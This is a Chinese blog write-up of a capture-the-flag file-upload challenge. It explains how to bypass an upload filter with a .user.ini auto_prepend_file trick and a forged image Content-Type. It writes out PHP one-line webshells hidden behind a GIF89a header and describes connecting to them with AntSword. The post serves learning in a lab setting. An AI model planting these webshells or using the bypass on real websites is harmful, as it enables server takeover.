初涉文件上传漏洞--攻防世界之esayupload

继续坚持我遇到什么学什么的原则

我第一次遇到了文件上传漏洞

这题的页面很简单,就一个上传头像的地方

结合题目我们可以很自然的想到要上传一个webshell,然后用蚁剑连接(F12我们发现头像的解析地址时uploads/index.php,,index.php会解析.php文件)

事实上这道题的思路的确是这样

所以我们编写一个

GIF89a
<?php @eval($_POST[cmd]);?>

但是在我尝试上传一句话图片木马时,发现被过滤掉了

那怎么办呢,我不会了。。。

于是我开始搜索绕过方法,得知了一个.user.ini绕过(.user.ini中两个中的配置auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。)

我们需要新建一个文件,将其命名为.user.ini,在里面写入

GIF89a (注意这里加上文件欺骗头,让系统认为我们上传的是图片)

auto_prepend_file=1.jpg

再建一个文本写入

GIF89a

<?=eval($_POST['tlover']);?>(这里也不要写成<?php ?>,不然也会被过滤掉的)

再将文本命名为1.jpg(与上面.user.ini内容对应的文件名相同)

欧克,准备好文件之后,我们只需要先上传.user.ini,再上传1.jpg我们就成功了

注意在上传.user.ini时,我们要修改Content-Type,改为 image/jpeg(让系统认为我们上传的真的是图片),否则会被过滤的。

用bp抓包修改之后也是成功上传了

接下来上传1.jpg,无需做过多修改(因为我们已经写了GIF89a,且文件的后缀名为.jpg,所以这已经是一个很逼真的图片了 qwq)

直接上传成功

接下来我们用蚁剑进行连接,还记得图片的解析地址吗,千万不要被他显示的地址给欺骗,我们一定要用解析我们php文件(也就是我们的1.jpg)的地址。最开始我们就看了 是uploads/index.php。

直接加在ip地址的后面,输入密码(tlover)----链接成功!

最后在里面很容易的找到了flag文件,至此答案就出来了

这是我第一次遇到文件上传的绕过方法,暂时了解了这一种绕过,有机会再学学更多的绕过方法

posted @ 2024-10-24 23:29  onehang  阅读(19)  评论(0)    收藏  举报  来源